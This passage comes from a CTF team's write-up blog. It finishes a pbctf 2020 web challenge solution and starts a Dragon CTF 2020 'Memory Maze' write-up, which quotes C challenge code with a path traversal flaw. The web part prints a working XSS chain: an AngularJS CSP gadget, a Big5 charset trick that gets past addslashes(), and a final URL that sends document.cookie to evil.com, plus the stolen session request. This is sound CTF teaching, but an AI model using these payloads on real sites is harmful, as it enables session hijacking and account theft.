<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="nx">generateName</span><span class="p">();</span>
<span class="p">}</span>
</code></pre></div>
<p>In a nutshell, this script redirects to <code>/?name=<name></code> after clicking the submit button, then it sends the name via POST to the <code>url</code> attribute of the <code>CONFIG</code> object obtained after evaluating the output of <code>/config.php?name=<name></code>. The <code>get_name.php</code> page returns a JSON containing our Ikea name, e.g., <code>{"text":"\u00c5SUN"}</code> that is parsed by <code>app.js</code> and merged (using an utility function provided by the Lodash library) with the <code>default_config</code> object into the <code>config</code> variable, to obtain something like:</p>
<div class="highlight"><pre><span></span><code><span class="nx">config</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="s2">"style"</span><span class="o">:</span><span class="w"> </span><span class="s2">"color: red;"</span><span class="p">,</span>
<span class="w"> </span><span class="s2">"text"</span><span class="o">:</span><span class="w"> </span><span class="s2">"\u00c5SUN"</span>
<span class="p">}</span>
</code></pre></div>
<p>Finally, an iframe is created with <code>src</code> set to <code>sandbox.php</code> and its content is populated with the newly created <code>config</code> structure.</p>
<h3>1-2-3 CSPs</h3>
<p>Yes, our name is reflected straight into the index page so we can inject arbitrary markup code. No, we can't trigger an XSS because of <a href="https://w3c.github.io/webappsec-csp/">CSP</a>. Same for <code>404.php</code> where the value of the <code>msg</code> parameter is printed by the page without sanitization. Notice however that here the response <code>Content-Type</code> is set to <code>text/plain;charset=UTF-8</code>.</p>
<p><img alt="XSS fail" src="https://w0y.at/data/ctf/pbctf2020/ikea_name_generator/imgs/csp.png"></p>
<p>Turns out there are different CSPs protecting 3 pages:</p>
<ul>
<li><code>/</code></li>
</ul>
<div class="highlight"><pre><span></span><code><span class="err">Content-Security-Policy: default-src 'none';script-src 'self' https://cdnjs.cloudflare.com/ajax/libs/lodash.js/4.17.4/lodash.min.js;connect-src 'self';frame-src 'self';img-src 'self';style-src 'self' https://maxcdn.bootstrapcdn.com/;base-uri 'none';</span>
</code></pre></div>
<ul>
<li><code>/404.php</code></li>
</ul>
<div class="highlight"><pre><span></span><code><span class="err">Content-Security-Policy: default-src 'none'</span>
</code></pre></div>
<ul>
<li><code>/sandbox.php</code></li>
</ul>
<div class="highlight"><pre><span></span><code><span class="err">Content-Security-Policy: default-src 'none';script-src 'self' https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.2/angular.js;style-src 'self' https://maxcdn.bootstrapcdn.com/;connect-src https:;base-uri 'none';</span>
</code></pre></div>
<h2>To the End and Back: Planning the Attack Chain</h2>
<p>If you are a bit familiar with CSP bypasses, you will immediately realize that the policy shipped on <code>/sandbox.php</code> is vulnerable to a <a href="https://research.google/pubs/pub46450/">script gadget attack</a> thanks to AngularJS. The <a href="https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#angularjs-csp-bypasses">XSS cheat sheet</a> on PortSwigger provides gadgets that can be used to run arbitrary JavaScript in the page by sidestepping the CSP, such as:</p>
<div class="highlight"><pre><span></span><code><span class="p"><</span><span class="nt">input</span> <span class="na">autofocus</span> <span class="na">ng-focus</span><span class="o">=</span><span class="s">"$event.path|orderBy:'[].constructor.from([1],alert)'"</span><span class="p">></span>
</code></pre></div>
<p>All the other CSPs seem to be quite restrictive, so it's pretty obvious that the challenge author designed the task in a way that we end up executing our final payload in the <code>/sandbox.php</code> iframe.</p>
<p>Googling around, we found the included version of the Lodash library to be <a href="https://snyk.io/test/npm/lodash/4.17.4?tab=issues">affected</a> by a <a href="https://portswigger.net/daily-swig/prototype-pollution-the-dangerous-and-underrated-vulnerability-impacting-javascript-applications">protoype pollution</a> vulnerability. This is very interesting, since this would allow us to pollute the <code>config</code> object that is used to populate the iframe.</p>
<p>Remember that we control the value <code>name</code> passed to <code>/config.php</code>, which produces the <code>CONFIG</code> variable that specifies the url used to generate the JSON with our Ikea name:</p>
<div class="highlight"><pre><span></span><code><span class="nx">CONFIG</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">url</span><span class="o">:</span><span class="w"> </span><span class="s2">"/get_name.php"</span><span class="p">,</span>
<span class="w"> </span><span class="nx">name</span><span class="o">:</span><span class="w"> </span><span class="s2">"John"</span>
<span class="p">}</span>
</code></pre></div>
<p>If we find a way to alter <code>CONFIG</code> by overwriting the value of the <code>url</code> attribute, we could use the <code>/404.php</code> endpoint to craft an arbitrary JSON structure, perform the parameter pollution and use our nice gadget to XSS the <code>/sandbox.php</code> iframe.</p>
<p>The <a href="https://blog.jimmyli.us/articles/2020-12/PerfectBlueCTF-WebExploitaiton">intended solution</a> exploited <a href="https://portswigger.net/web-security/dom-based/dom-clobbering">DOM clobbering</a> to achieve this exact goal. Neat. None of us remembered that we could do that here. So we did something different :)</p>
<h2>Exploiting Like a Swedish</h2>
<p>The cool thing about CTFs (or the world in general), is that we all follow different mental paths. While the challenge author used Swedish names as an innocuous Ikea-related pun, those weird signs on top of A and O (i.e., Å, Ä, Ö) triggered us to investigate all sort of attacks concerning encodings. While doing so we missed the obvious, i.e., the DOM clobbering vulnerability as described in the previous section. Indeed, we only focused on abusing the <code>name</code> variable sent to <code>/config.php</code> to obtain something like:</p>
<div class="highlight"><pre><span></span><code><span class="nx">CONFIG</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">url</span><span class="o">:</span><span class="w"> </span><span class="s2">"/get_name.php"</span><span class="p">,</span>
<span class="w"> </span><span class="nx">name</span><span class="o">:</span><span class="w"> </span><span class="s2">"John"</span><span class="p">,</span>
<span class="w"> </span><span class="nx">url</span><span class="o">:</span><span class="w"> </span><span class="s2">"/404.php?msg=<data>"</span>
<span class="p">}</span>
</code></pre></div>
<p>Unfortunately, our payload is escaped by <code>config.php</code> using <a href="https://www.php.net/manual/en/function.addslashes.php"><code>addslashes()</code></a>, preventing the string from being closed. As you can see, querying <code>http://ikea-name-generator.chal.perfect.blue/config.php?name=John%22,%20url:%20%22/404.php?msg=foobar</code> results into:</p>
<div class="highlight"><pre><span></span><code><span class="nx">CONFIG</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">url</span><span class="o">:</span><span class="w"> </span><span class="s2">"/get_name.php"</span><span class="p">,</span>
<span class="w"> </span><span class="nx">name</span><span class="o">:</span><span class="w"> </span><span class="s2">"John\", url: \"\/404.php?msg=foobar"</span>
<span class="p">}</span>
</code></pre></div>
<p>The most <em>seasoned ones</em> among our readers will remember <a href="https://shiflett.org/blog/2006/addslashes-versus-mysql-real-escape-string">this old trick</a> to bypass <code>addslashes()</code> and perform a SQL injection on MySQL when the <a href="https://en.wikipedia.org/wiki/GBK_(character_encoding)">GBK encoding</a> is set. After quite some time we realized that the same principle could be leveraged in this context to close the string.</p>
<p><img alt="Simple poc" src="https://w0y.at/data/ctf/pbctf2020/ikea_name_generator/imgs/charset.png"></p>
<p>Let's try to understand what's going on exactly: PHP does not treat <code>%bf%22</code> as a single multi-byte character, so <code>addslashes()</code> adds a <code>\</code> between the 2 bytes, returning the equivalent of <code>%bf%5c%22</code>:</p>
<div class="highlight"><pre><span></span><code><span class="x">php > print_r(unpack('C*', addslashes(urldecode('%bf%22'))));</span>
<span class="x">Array</span>
<span class="x">(</span>
<span class="x"> [1] => 191 // 0xbf</span>
<span class="x"> [2] => 92 // 0x5c</span>
<span class="x"> [3] => 34 // 0x22</span>
<span class="x">)</span>
</code></pre></div>
<p>When the page is rendered on Google Chrome, the browser assumes that the charset of the page is <code>http://ash.jp/code/cn/big5tbl.htm</code>, in which <code>%bf%5c</code> is a valid character code that corresponds to the symbol highlighted below:</p>
<p><img alt="Valid character code" src="https://w0y.at/data/ctf/pbctf2020/ikea_name_generator/imgs/big5.png"></p>
<p>The discrepancy between the server-side and client-side encodings causes the browser to <em>eat</em> the <code>\</code> symbol as part of a multi-byte character and to leave alone the <code>"</code> symbol needed to close the string!</p>
<p>Let's step back for a second: all we wanted to do was overwriting the <code>url</code> field of the <code>CONFIG</code> structure, right? Notice however that now we're on track to inject arbitrary JavaScript, so if we are clever enough to craft a payload that does not stumble upon <code>Uncaught SyntaxError</code>, we could entirely skip the prototype pollution vulnerability and XSS the main page! Cool, isn't it?</p>
<p>Alright, checking if the same payload works on the main page:</p>
<p><img alt="Wrong charset" src="https://w0y.at/data/ctf/pbctf2020/ikea_name_generator/imgs/fail_main.png"></p>
<p>Ouch, so now the browser <em>thinks</em> that the charset is utf-8 and our payload is not able to go past the string anymore! Is everything lost? Of course not, you should know that the web platform provides all the pieces to be exploited beyond understanding. The <code>script</code> tag has a deprecated attribute called <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script"><code>charset</code></a> that enforces the specified charset on script loading. The CSP does not prevent us from injecting markup content, so the idea is to inject another <code>script</code> tag with <code>src="/config.php=<XSS>"</code> with the <code>charset</code> attribute set to <code>big5</code> and execute arbitrary JavaScript code. Notice that by doing so we would end up including 2 different versions of scripts generated by <code>config.php</code>, but we don't care much about the second script if our XSS payload triggers first.</p>
<p>Before finalizing the payload, we test whether this approach is correct by sending a request to <code>/?name=%3Cscript%20charset=big5%20src=config.php?name=test%bf%22</code>. The exception means that we successfully closed the string and caused a syntax error in the script generated by <code>config.php</code>.</p>
<p><img alt="Attack successful" src="https://w0y.at/data/ctf/pbctf2020/ikea_name_generator/imgs/success_main.png"></p>
<p>Since we only need to leak the cookie to an origin we control, such as <code>evil.com</code>, it is enough to redirect the browser to <code>http://evil.com/<document.cookie></code> and ignore everything else that might break in the page. This can be done by crafting one attribute of the <code>CONFIG</code> structure, such as:</p>
<div class="highlight"><pre><span></span><code><span class="nx">CONFIG</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">url</span><span class="o">:</span><span class="w"> </span><span class="s2">"/get_name.php"</span><span class="p">,</span>
<span class="w"> </span><span class="nx">name</span><span class="o">:</span><span class="w"> </span><span class="s2">"璞"</span><span class="p">,</span>
<span class="w"> </span><span class="nx">foo</span><span class="o">:</span><span class="w"> </span><span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="o">=</span><span class="sb">`http:\/\/evil.com\/</span><span class="si">${</span><span class="nb">document</span><span class="p">.</span><span class="nx">cookie</span><span class="si">}</span><span class="sb">`</span><span class="w"> </span><span class="c1">// omitted <!-- for clarity</span>
<span class="p">}</span>
</code></pre></div>
<p><img alt="Amazing JS structure" src="https://w0y.at/data/ctf/pbctf2020/ikea_name_generator/imgs/jsstructure.png"></p>
<p>The final payload that worked for us is the following:</p>
<div class="highlight"><pre><span></span><code>http://ikea-name-generator.chal.perfect.blue/?name=%3Cscript%20charset=big5%20src=config.php?name=%bf%22,foo:window.location=`http://evil.com/${document.cookie}`%3c!--
</code></pre></div>
<p>By providing it to the admin bot, we obtain the cookie:</p>
<div class="highlight"><pre><span></span><code><span class="nf">GET</span> <span class="nn">/session=be2171a063883cd6f356707eb8dd601d6d8ac26a</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="o">:</span> <span class="l"><redacted></span>
<span class="na">Connection</span><span class="o">:</span> <span class="l">keep-alive</span>
<span class="na">Upgrade-Insecure-Requests</span><span class="o">:</span> <span class="l">1</span>
<span class="na">User-Agent</span><span class="o">:</span> <span class="l">Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/88.0.4298.0 Safari/537.36</span>
<span class="na">Accept</span><span class="o">:</span> <span class="l">text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9</span>
<span class="na">Referer</span><span class="o">:</span> <span class="l">http://ikea-name-generator.chal.perfect.blue/?name=%3Cscript%20charset=big5%20src=config.php?name=%bf%22,foo:window.location=`http://<redacted>/${document.cookie}`%3c!--</span>
<span class="na">Accept-Encoding</span><span class="o">:</span> <span class="l">gzip, deflate</span>
</code></pre></div>
<p>And... profit!</p>
<p><img alt="Flag" src="https://w0y.at/data/ctf/pbctf2020/ikea_name_generator/imgs/flag.png"></p>
<h2>Conclusion</h2>
<p>Congrats for reaching the end of this write-up fellow hacker! We hope you had as much fun as we did solving the challenge! And remember, we all know that the Web is a mess, but if you use server-side filtering such as <code>addslashes()</code> and JSONP you're literally shooting yourself in the foot! Cya!</p>Dragon CTF 2020 - Memory Maze2020-11-24T00:00:00+01:002024-02-05T19:10:11+01:00georgtag:w0y.at,2020-11-24:/writeup/2020/11/24/dragon-ctf-2020-memory-maze.html<p>Solve a Memory Maze by leaking info on mapped memory from /proc/self/map_files</p><h2>Overview</h2>
<p>The challenge description goes as follows:</p>
<div class="highlight"><pre><span></span><code><span class="n">Miscellaneous</span><span class="p">,</span><span class="w"> </span><span class="mi">287</span><span class="w"> </span><span class="n">pts</span>
<span class="n">Difficulty</span><span class="p">:</span><span class="w"> </span><span class="n">medium</span><span class="w"> </span><span class="p">(</span><span class="mi">26</span><span class="w"> </span><span class="n">solvers</span><span class="p">)</span>
<span class="n">Can</span><span class="w"> </span><span class="n">you</span><span class="w"> </span><span class="n">escape</span><span class="w"> </span><span class="n">my</span><span class="w"> </span><span class="n">memory</span><span class="w"> </span><span class="n">maze</span><span class="err">?</span><span class="w"> </span><span class="n">Treasure</span><span class="w"> </span><span class="n">awaits</span><span class="w"> </span><span class="n">at</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">end</span><span class="o">!</span>
<span class="n">nc</span><span class="w"> </span><span class="n">memorymaze</span><span class="o">.</span><span class="n">hackable</span><span class="o">.</span><span class="n">software</span><span class="w"> </span><span class="mi">1337</span>
<span class="n">Download</span><span class="w"> </span><span class="n">File</span>
</code></pre></div>
<p><a href="https://w0y.at/data/ctf/dragonctf2020/memmaze/memmaze.tar.gz">Download archive here</a></p>
<p>Well, let's see if we are able to find the treasure! </p>
<h2>A look at the treasure map!</h2>
<p>We can find several files in the challenge archive</p>
<ul>
<li><strong>main.c</strong>: Entrypoint for the program</li>
<li><strong>maze.c</strong> & <strong>maze.h</strong>: The implementation of the maze</li>
<li><strong>Makefile</strong>: To build everything ;)</li>
<li><strong>run.sh</strong>: runs the binary with nsjail</li>
</ul>
<p>First, let's dig through the provided sources to see what we can do here.
On startup, the program will first initialize a maze and tell us it's size and address</p>
<div class="highlight"><pre><span></span><code><span class="cp">#define SIZE 303ul</span>
<span class="cp">#define MAX_SOL_SIZE (SIZE * SIZE)</span>
<span class="cp">#define BASE_ADDR ((char*)0x13370000ul)</span>
<span class="k">static</span><span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">g_rand_fd</span><span class="p">;</span>
<span class="c1">//... Cut some things here</span>
<span class="k">static</span><span class="w"> </span><span class="kt">unsigned</span><span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="nf">get_rand_uint</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kt">unsigned</span><span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">c</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">read</span><span class="p">(</span><span class="n">g_rand_fd</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="n">c</span><span class="p">,</span><span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="n">c</span><span class="p">))</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="n">c</span><span class="p">))</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">err</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="s">"read"</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">c</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">int</span><span class="w"> </span><span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">inits</span><span class="p">();</span>
<span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">maze</span><span class="o">*</span><span class="w"> </span><span class="n">m</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">gen_maze</span><span class="p">(</span><span class="n">SIZE</span><span class="p">,</span><span class="w"> </span><span class="n">get_rand_uint</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="n">m</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">errx</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="s">"gen_maze"</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">map_maze</span><span class="p">(</span><span class="n">m</span><span class="p">,</span><span class="w"> </span><span class="n">BASE_ADDR</span><span class="p">))</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">errx</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="s">"map_maze"</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Maze size: %zu</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">m</span><span class="o">-></span><span class="n">size</span><span class="p">);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Maze address: %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">m</span><span class="o">-></span><span class="n">addr</span><span class="p">);</span>
</code></pre></div>
<p>Then it will ask us for our name, use this as a file and check if it is writable inside <code>/tmp</code>. If not, we have to provide another username.</p>
<div class="highlight"><pre><span></span><code><span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">path</span><span class="p">[</span><span class="mh">0x200</span><span class="p">];</span>
<span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">solution_fd</span><span class="p">;</span>
<span class="w"> </span><span class="k">do</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">name</span><span class="p">[</span><span class="mh">0x100</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="p">};</span>
<span class="w"> </span><span class="n">puts</span><span class="p">(</span><span class="s">"Your name:"</span><span class="p">);</span>
<span class="w"> </span><span class="n">recv_line</span><span class="p">(</span><span class="n">name</span><span class="p">,</span><span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="n">name</span><span class="p">));</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">name</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="sc">'\0'</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">puts</span><span class="p">(</span><span class="s">"Goodbye!"</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Hello %s!</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">name</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">snprintf</span><span class="p">(</span><span class="n">path</span><span class="p">,</span><span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="n">path</span><span class="p">),</span><span class="w"> </span><span class="s">"/tmp/%s"</span><span class="p">,</span><span class="w"> </span><span class="n">name</span><span class="p">)</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">err</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="s">"snprintf"</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">solution_fd</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span><span class="w"> </span><span class="n">O_WRONLY</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">O_CREAT</span><span class="p">,</span><span class="w"> </span><span class="n">S_IRWXU</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">solution_fd</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Path </span><span class="se">\"</span><span class="s">%s</span><span class="se">\"</span><span class="s"> is invalid: %m</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">path</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">while</span><span class="w"> </span><span class="p">(</span><span class="n">solution_fd</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="mi">0</span><span class="p">);</span>
</code></pre></div>
<p>The <em>CTF connoisseur</em> will quickly spot the path traversal vulnerability here: sending <code>../somename</code> as name would lead to <code>/tmp/../somename</code> being accessed.
So, our first thought was, ok, we could potentially write to files outside of <code>/tmp</code>. At this point we had no idea of what to do with this, so we moved on.</p>
<p>Next, we have to provide a solution (the max size is set to <code>MAZE_SIZE*MAZE_SIZE</code>, so we could walk every cell once...) which will be checked for invalid characters and afterwards written to the file created with our username.</p>
<div class="highlight"><pre><span></span><code><span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Solution size (max %zu):</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">MAX_SOL_SIZE</span><span class="p">);</span>
<span class="w"> </span><span class="kt">size_t</span><span class="w"> </span><span class="n">size</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">scanf</span><span class="p">(</span><span class="s">"%zu"</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="n">size</span><span class="p">)</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="mi">1</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">err</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="s">"scanf"</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="n">size</span><span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="n">size</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="n">MAX_SOL_SIZE</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">errx</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="s">"bad solution size"</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kt">char</span><span class="o">*</span><span class="w"> </span><span class="n">solution</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">calloc</span><span class="p">(</span><span class="n">size</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="o">*</span><span class="n">solution</span><span class="p">));</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="n">solution</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">err</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="s">"malloc"</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">puts</span><span class="p">(</span><span class="s">"Solution:"</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">scanf</span><span class="p">(</span><span class="s">" "</span><span class="p">)</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">err</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="s">"scanf"</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kt">size_t</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="k">do</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">c</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">fread</span><span class="p">(</span><span class="o">&</span><span class="n">c</span><span class="p">,</span><span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="n">c</span><span class="p">),</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="n">stdin</span><span class="p">)</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="mi">1</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">err</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="s">"fread"</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">switch</span><span class="w"> </span><span class="p">(</span><span class="n">c</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="sc">'N'</span><span class="p">:</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="sc">'S'</span><span class="p">:</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="sc">'E'</span><span class="p">:</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="sc">'W'</span><span class="p">:</span>
<span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="k">default</span><span class="o">:</span>
<span class="w"> </span><span class="n">errx</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="s">"invalid character: %c"</span><span class="p">,</span><span class="w"> </span><span class="n">c</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">solution</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">c</span><span class="p">;</span>
<span class="w"> </span><span class="o">++</span><span class="n">i</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">while</span><span class="w"> </span><span class="p">(</span><span class="n">i</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="n">size</span><span class="p">);</span>
<span class="w"> </span><span class="n">write_all</span><span class="p">(</span><span class="n">solution_fd</span><span class="p">,</span><span class="w"> </span><span class="n">solution</span><span class="p">,</span><span class="w"> </span><span class="n">size</span><span class="p">);</span>
</code></pre></div>
<p>Finally the solution will be evaluated, and if it is valid, we will get the flag.</p>
<div class="highlight"><pre><span></span><code><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">solve_maze</span><span class="p">(</span><span class="n">m</span><span class="p">,</span><span class="w"> </span><span class="n">solution</span><span class="p">))</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">errx</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="s">"solution is not correct"</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">flag_fd</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">open</span><span class="p">(</span><span class="s">"flag.txt"</span><span class="p">,</span><span class="w"> </span><span class="n">O_RDONLY</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">flag_fd</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">err</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="s">"flag open"</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">flag</span><span class="p">[</span><span class="mh">0x100</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="p">};</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">read</span><span class="p">(</span><span class="n">flag_fd</span><span class="p">,</span><span class="w"> </span><span class="n">flag</span><span class="p">,</span><span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="n">flag</span><span class="p">))</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">err</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="s">"read flag"</span><span class="p">);</span>
